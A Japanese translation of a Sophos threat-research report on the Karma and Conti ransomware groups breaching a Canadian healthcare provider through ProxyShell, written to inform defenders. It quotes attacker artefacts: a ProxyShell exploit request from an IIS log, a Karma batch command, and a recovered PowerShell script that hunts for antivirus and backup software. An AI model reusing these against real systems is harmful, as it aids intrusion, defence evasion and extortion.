photo by jacilluch CC 2.0 license
脅威の調査

ProxyShell エクスプロイト経由で Conti と Karma が医療機関を同時攻撃

パッチが適用されていない Microsoft Exchange サーバーが、2 種類のランサムウェアによって同時に攻撃されました。Karma がデータの流出のみを行ったのに対して、Conti はデータを暗号化しました。

** 本記事は、Conti and Karma actors attack healthcare provider at same time through ProxyShell exploits の翻訳です。最新の情報は英語記事をご覧ください。**

パッチが適用されていない Microsoft Exchange サーバーが、2 種類のランサムウェアによって同時に攻撃されました。Karma がデータの流出のみを行ったのに対して、Conti はデータを暗号化しました。

12 月初めに、カナダのある医療機関が、まったく異なる攻撃方針を持った 2 つのランサムウェアグループに襲われました。 1 つ目のランサムウェアグループは Karma と呼ばれるグループで、データを流出させた一方で、標的組織のシステムは暗号化しませんでした。攻撃者が標的組織のコンピューターに残したランサムノート (身代金要求文書) には、標的組織が医療機関であったため暗号化を行わなかったと記されています。

Conti と呼ばれる 2 つ目のグループは、Karma の後にこのネットワークに侵入しましたが、これは偶然の出来事でした。
Karma グループがランサムノートをドロップしてから 1 日も経たないうちに、Conti の攻撃者はランサムウェアを展開しました。ソフォスの Rapid Response チームは、その数時間前に標的組織から相談を受けたばかりでした。それゆえ、同組織はまだ、Conti の攻撃者がランサムウェアを展開したネットワークの部分にソフォスのソフトウェアを導入していなかったのです。(ソフォス製品でない) 既存のマルウェア対策ソフトでは、攻撃を阻止できませんでした。

ランサムウェアのアフィリエイトが ProxyShell を利用して被害者のネットワークに侵入した事例が最近いくつか確認されており、その中には Conti のアフィリエイトも含まれます。また、複数の攻撃者が同じ脆弱性を悪用して被害組織へのアクセスを得る事例も過去に確認されています。しかし、2 つのランサムウェアグループから同時に攻撃を受けた事例はほとんどありません。

攻撃の準備

どちらの攻撃者も、「ProxyShell」のエクスプロイト (Microsoft の Exchange Server プラットフォームにおける CVE-2021-34473、CVE-2021-34523 および CVE-2021-31207 を標的とするもの) を用いて侵入しました。 IIS のアクセスログによると、このエクスプロイトを使った最初の侵入は 2021 年 8 月 10 日に発生しています。

GET /autodiscover/autodiscover.json @evil.corp/owa/?&Email=autodiscover/autodiscover.json%3F@evil.corp&CorrelationID=<empty>;&cafeReqId=7f233041-e437-4b6a-b852-21c9b688f53c; 443 - 74.222.5.43 Mozilla/5.0+(Macintosh;+Intel+Mac+OS+X+10_10_1)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/41.0.2227.1+Safari/537.36 - 302 0 0 122"

このコマンドは、Exchange Management シェルを悪用して管理者アカウント「Administrator」を作成し、それぞれ香港、イラン、ロシアに位置する 3 台のリモートサーバーからスクリプトを取得するものでした。

この「Administrator」アカウントは、後に攻撃者がネットワークの水平移動 (ラテラルムーブメント) を行うのに使用されます。明確な証拠はありませんが、この最初の悪用は、ランサムウェアのオペレーターの一方 (あるいは両方) にアクセス権を販売したアクセスブローカーによって行われたと見られています。

11 月 11 日に、ProxyShell エクスプロイトチェーンを利用した 2 件目の侵入が発生しました。この攻撃では、Exchange Server の IIS Web サーバーインスタンスに Web シェルがインストールされました。

より深くネットワークに侵入することを目的とした実際の活動は、その数週間後から本格的に開始されました。システムログには、11 月 29 日から 30 日にかけて、攻撃者が他のサーバー (ドメインコントローラーを含む) への接続やその試行に 20 回以上失敗したことや、「Administrator」アカウントを使用してメールサーバーから別の Web アプリケーションサーバーへの接続に成功したことが記録されています。11 月 30 日のある時点で、Administrator アカウントは、仮想マシンまたはワークステーション上の RDP セッションにアクセスするために使用されました。このセッションはその後、ログインの試行に使用されました。 この活動は、Karma の攻撃者によるものだと思われます。

その間、侵害されたもう 1 つのアカウントが、別の侵害された端末から他のサーバーに一連のリモートデスクトッププロトコル接続を行い、PowerShell コマンドを実行しました。このコマンドは、11 月 30 日のスクリプトにおいて使用されたものと同じホストから Cobalt Strike ビーコンをダウンロードするものでした。

11 月 30 日に、別のシステムに対して数回試行を行った後、Administrator アカウントを使用した攻撃者は、あるシステム (104[.]168.44.130) への接続に成功し、「ビーコン」である Cobalt Strike をサービスとしてインストールするバッチスクリプトを起動させました。Cobalt Strike は、メールサーバー、ドメインコントローラー、および他のいくつかのシステムに展開され、翌日にはさらに多くのシステムが標的になりました。

12 月 1 日からは、複数のシステム上からのデータの収集、および .RAR アーカイブ作成が始まりました。

事態の複雑化

12 月 1 日と 2 日に、データの収集を終えた Karma はクラウドストレージサービス「Mega」にデータをアップロードし、52 GB の圧縮されたデータを盗み出しました。その後、侵害された Administrator アカウントを使用して、Karma マルウェアが展開されました。

 

このマルウェアは、各標的システム上に作成されたサービスを通じてランサムノートを配布します。このサービスはランサムノートを元の場所からコピーしてバッチファイルを起動させるものです。以下は起動されるバッチファイルの一例です。

%COMSPEC% /C echo del C:\KARMA_RANSOMWARE_README!!!.txt ^> %SYSTEMDRIVE%\WINDOWS\Temp\QWvVYzfhbjXaDiRa.txt > \WINDOWS\Temp\UIoTiUDorGDZImRd.bat & %COMSPEC% /C start %COMSPEC% /C \WINDOWS\Temp\UIoTiUDorGDZImRd.bat

12 月 3 日、標的組織の従業員が出勤した際に、約 20 台のワークステーションとサーバーの壁紙が Karma のランサムノートに変わっているのを発見しました。ランサムノートには、Karma の攻撃者が標的組織のことを医療機関だと特定したため、データは流出させただけで暗号化はしていないと記されていました。

その時点で、同組織はソフォスの Rapid Response チームと連絡を取り、12 月 3 日の朝に最初の電話会議を行いました。その場で監視ツールが導入され、生じたインシデントの分析が開始されました。しかし、Rapid Response チームが介入し始めてから数時間以内に、2 つ目のランサムウェアグループが攻撃を開始しました。

12 月 3 日時点では、2 件の侵害されたアカウントがアクティブになっていました。Administrator アカウントと、管理者権限を持った 2 件目のアカウントです。そのうち 1 件は、主要なファイルサーバーに Chrome ブラウザをインストールしました。

その後、侵害された Administrator アカウントを経由して、組織のサーバーのうちの 1 台にマルウェアが展開されました。展開されたマルウェアのうちの 1 つである 64.dll は、SophosLabs によって Conti ランサムウェアであることが確認されました。64.dll は、regsvr.exe を使用して読み込まれていました。regsvr.exe が実行される際には、標的となるサーバー上の Windows Defender を無効にするコマンドを含むバッチファイルである def.bat が実行されました。

Conti ランサムウェアの展開は、Karma の攻撃者が他のシステムにランサムノートをドロップしている最中にも行われました。その間に、標的組織のネットワーク保護は同組織のあるメールサーバー (侵入の足がかりとなったものではありません) 由来の Cobalt Strike の活動を検知し、ブロックしています。検出された Cobalt Strike の C2 通信は、ブルガリアのホスティング会社が運営するオランダのデータセンター内のサーバーとのものでした。2 件目の侵害されたアカウントは、ネットワーク上の他のシステムに Cobalt Strike ビーコンをダウンロードするために使用されました。

その後程なくして、2 件目の侵害されたアカウントは、ドメインサーバー上のローカルフォルダにスクリプトをドロップするのに使用されました。ドロップされた PowerShell スクリプトは、Get-DataInfo.ps1 と名付けられており、Windows Management Instrumentation クエリを介してネットワークデータを収集し、リモートの C2 サーバーに送り返すものでした。 このスクリプトの一部は、システムログから復元されました。このスクリプトは、マルウェア対策ソフトやバックアップソフトなど、ランサムウェアによるデータの暗号化を妨害する可能性のあるソフトウェアをネットワークのコンピューター上で念入りに検索します。

function Get-Software{
<#Variables#>
$av_list = @("Traps", "threat", "Sentinel", "Defence", "Defender", "Endpoint", "AV", "AntiVirus", "BitDefender", "Kaspersky", "Norton", "Avast", "WebRoo", "AVG", "ESET", "Malware", "Defender", "Sophos", "Trend", "Symantec Endpoint Protection", "Security")
$backup_list = @("Veeam", "Backup", "Recovery", "Synology", "C2", "Cloud", "Dropbox", "Acronis", "Cobian", "EaseUS", "Paragon", "IDrive" )
$exclude_list = @("KONICA", "UltraVnc", "Update", "Hitachi Storage Navigator Modular", ".NET", "Office", "Adobe", "Word", "Excel", "Outlook", "PowerPoint", "Publisher", "Java", "Office", "Learning", "Support", "done")
$computername = Get-Content ".\result\livePCs.txt" -ReadCount 0  
$ErrorActionPreference = "Stop"
$Branch = "LocalMachine"
$SubBranch = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$SubBranch64 = "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall"
$tabName = "SampleTable"
$table = New-Object system.Data.DataTable $table_name
$col1 = New-Object system.Data.DataColumn SystemName,([string])
$col2 = New-Object system.Data.DataColumn Type,([string])
$col3 = New-Object system.Data.DataColumn Name,([string])
$col4 = New-Object system.Data.DataColumn Hide,([string])
$table.columns.add($col1)
$table.columns.add($col2)
$table.columns.add($col3)
$table.columns.add($col4)
$computers = $computername.Length
$x = 0
write-host -foregroundcolor cyan "Grubbing Software.info"
write-host -foregroundcolor cyan "Testing $computers computers, this may take a while."
foreach ($computer in $computername)  
{
if (Test-Connection -ComputerName $computer -Quiet -count 2 -BufferSize 4 -Delay 1){
        Try{
            $registry=[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
$registrykey=$registry.OpenSubKey($Subbranch)
            $SubKeys=$registrykey.GetSubKeyNames()
            Foreach ($key in $subkeys){
                                       $exactkey=$key  
                                       $NewSubKey=$SubBranch+"\\"+$exactkey  
                                       $ReadUninstall=$registry.OpenSubKey($NewSubKey)  
                                       $Value=$ReadUninstall.GetValue("DisplayName") 
  foreach($exclude in $exclude_list){
  if($Value -notmatch $exclude){
  foreach ($ Av in $ av_list) {
  if ($ Value -match $ Av) {
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "AV"
  $row.Name = $Value
  $table.Rows.Add($row)
  }}
  foreach($backup in $backup_list){
  if($Value -match $backup){
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "Backup"
  $row.Name = $Value
  #$row.Hide = '=IF(AND(A2=A1, B2=B1),"hide","show")'
  $table.Rows.Add($row)
  }}
             }}}}Catch{Add-Content "$registry" -path .\result\error.txt}
         Try{
            $registry=[microsoft.win32.registrykey]::OpenRemoteBaseKey($Branch,$computer)
            $registrykey=$registry.OpenSubKey($Subbranch64)
            $SubKeys=$registrykey.GetSubKeyNames()
            Foreach ($key in $subkeys){
                                       $exactkey=$key  
                                       $NewSubKey=$SubBranch+"\\"+$exactkey  
                                       $ReadUninstall=$registry.OpenSubKey($NewSubKey)  
                                       $Value=$ReadUninstall.GetValue("DisplayName") 
  foreach($exclude in $exclude_list){
  if($Value -notmatch $exclude){ 
  foreach ($ Av in $ av_list) {
  if ($ Value -match $ Av) {
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "AV"
  $row.Name = $Value
  $table.Rows.Add($row)
  }}
  foreach($backup in $backup_list){
  if($Value -match $backup){
  $row = $table.NewRow()
  $row.SystemName = $computer
  $row.Type = "Backup"
  $row.Name = $Value
  #$row.Hide = '=IF(AND(A2=A1, B2=B1),"hide","show")'
  $table.Rows.Add($row)
  }}
  }}}
}Catch{Add-Content "$registry" -path .\result\error.txt}
$testcomputer_progress = [int][Math]::Ceiling((($x / $computers) * 100))
# Progress bar
Write-Progress  "Grubbing Software.info" -PercentComplete $testcomputer_progress -Status "Percent Complete - $testcomputer_progress%" -Id 1;
Sleep(1);
$x++; 
}}
write-host -foregroundcolor cyan "Grubbing Software.info complete"
$tabCsv = $table | export-csv .\result\Software.csv -noType }

このような動作を行うスクリプトは、Bazar バックドアや Ryuk ランサムウェアによる攻撃において以前にも登場しました。(実際のスクリプトそのものは復元されていません。)

その後、同日 (12 月 3 日) 中に、ファイルサーバーにドロップされた Chrome ブラウザを用いてさらに多くのデータ (10.7 GB 相当) が Mega に流出しました。これは Conti グループによるものだと思われます。その数分後、Conti ランサムウェアによる攻撃が本格的に開始され、Windows Defender の検出を抑制するための def.bat ファイルが展開されました。Conti ランサムウェアは、感染したシステムの C: ドライブ上のファイルを暗号化し、Conti ランサムノートをドロップしました。

攻撃の影響

今回生じた二重のランサムウェア攻撃は、インターネット上で公開されているソフトウェアの有名な脆弱性に関連するリスクを浮き彫りにしています。そのソフトウェアを実行している組織にとっては馴染み深い脆弱性ではなくても、悪意のある攻撃者にはよく知られているかもしれません。どのような規模の組織であっても、脆弱性への対応の遅れは生じるため、悪意のある行為に対して多層構造の防御策を講じることが重要です。サーバーやクライアントにマルウェア対策を施すことにより、ランサムウェアの攻撃者が保護されていないサーバーを利用して攻撃を仕掛けることを阻止できます。

今回の事例では、最初のアクセス侵害はランサムウェアの活動が始まる 3 か月以上前に行われました。このことから、このアクセスは ProxyShell を発見した「アクセスブローカー」によるものであり、その後マーケットプレイスで販売するか、ランサムウェアのアフィリエイトが購入を希望するまで放置していた可能性が高いと考えられます。

ネットワークの監視と多少のマルウェア防御が行われていたにもかかわらず、いずれのランサムウェアの攻撃者も攻撃をほぼ完全に成功させました。今回の医療機関の例において、Conti による攻撃当時、ソフォスのマルウェア対策ソフトを導入していたシステムはごくわずかでした。Karma による攻撃を受けてからすぐのことで、導入する時間がなかったためです。ソフォス製品の導入が間に合った数少ないシステムではランサムウェア保護が Conti の実行を検知しましたが、ランサムウェアが実行されたのはほとんどが保護されていないサーバー上でした。

結果として、組織のデータの多くが暗号化されました。Karma のランサムノートも、です。(ソフォス製品は、Karma および Conti ランサムウェアを動作とシグネチャの両方で検出します。今回の事例では、Conti は Troj/Conti-C および Troj/Ransom-GLU として検出され、保護されたシステム上では CryptoGuard によりブロックされました。Bazar スクリプトは動作によって Mem/bazarld-c、Mem/bazarld-d および Mem/conti-b として検出されました。)

この攻撃のセキュリティ侵害の痕跡 (IoC) の全リストは、SophosLabs の GitHub ページで公開されています

SophosLabs は、本記事への貢献に対して、ソフォスの Rapid Response チームの Mauricio Valdivieso、Melissa Kelly、Johnathan Fern、Matthew Everts、および SophosLabs の Rahul Dugar、Heli Sheth に謝意を表します。